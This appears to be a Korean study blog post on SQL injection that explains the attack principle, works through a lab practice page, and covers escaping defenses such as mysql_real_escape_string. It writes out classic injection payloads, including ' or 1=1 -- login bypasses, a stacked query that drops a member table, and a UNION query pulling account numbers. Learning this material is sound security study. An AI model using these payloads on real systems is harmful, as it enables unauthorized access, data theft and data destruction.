2022.09.05
지난시간에 실습환경 세팅을 하였고 해당 환경에서 실습을 가져본다.
SQL injection
1. SQL injection 공격 원리
2. 실습
3. 대응 방법
SQL injection(이하 '인젝션')은 OWASP top 10 에 항상 들어갈만큼 실제로 많이 일어나는 공격기법이고 그만큼 보안을 생각하는 입장에서는 기본적이며 중요한 해킹기법이라고 생각한다
기본적으로 웹브라우저와 웹서버는 HTTP로 통신, 웹서버와 Database는 SQL로 통신을 한다.
공격자는 SQL 공격구문을 웹서버에 전달하고 , 웹서버에서 Database에 SQL문을 작성하는데 공격 구문이 따라붙게된다.
그에 따라 Database에서는 SQL공격구문이 그대로 실행되게 되고 공격자가 원하는 요청을 전달하게된다.
주석처리 : 뒷부분 무력화
로직 : 논리적으로 참이 되기만 하면 됨
' or 1=1 --
' or 2>1 --
' or 'a'='a' --
select from [테이블명] where id='admin' and pw='' or 1=1 --';
' or 'a'='a
select from [테이블명] where id='admin' and pw='' or 'a'='a';
SQL 중첩문 사용하기
앞의 SQL문을 마감하고, 다른 SQL문을 뒤에 붙여서 실행하도록 유도함
select ; drop table ~~;
select * from [테이블명] where id='admin' and pw=''; drop table member ~';
앞의 select문을 뒤의 select문과 union으로 연결
select * from [테이블명] where id='admin' and pw='' union select ';
※주의사항 : 앞의 select문에서 요청한 개수와 뒤의 select문에서 요청한 개수가 일치해야 함
select id,pw from [테이블명] where id='admin' and pw='' union select userid, accont_number from [테이블명] ';
인젝션 실습 페이지
자신의 USER ID를 입력시에 자신의 First name과 Surname이 나오는걸 볼 수 있다.
#으로 주석처리한 공격구문을 삽입하였다(MySQL, MariaDB인걸 확인할 수 있다.)
Escape처리 : 특수문자의 고유 기능을 하지 못하도록 해야 함 ----> 특수문자 앞에 (백슬래시)를 붙임
ex) 4 + 5 = 9 -----> 4 + 5 \= 9
예를 들면 \' or 1\=1 # 와 같이 백슬래시를 붙여줍니다.
사람이 일일이 붙일 수는 없기 때문에 Secure Coding함수를 사용해야 함
mysql_real_escape_string( ) 함수 (PHP에서 사용)
특수문자 중에 \x00, \n, \r, \, ', " and \x1a 앞에 \를 붙여서 Escape처리를 하는 것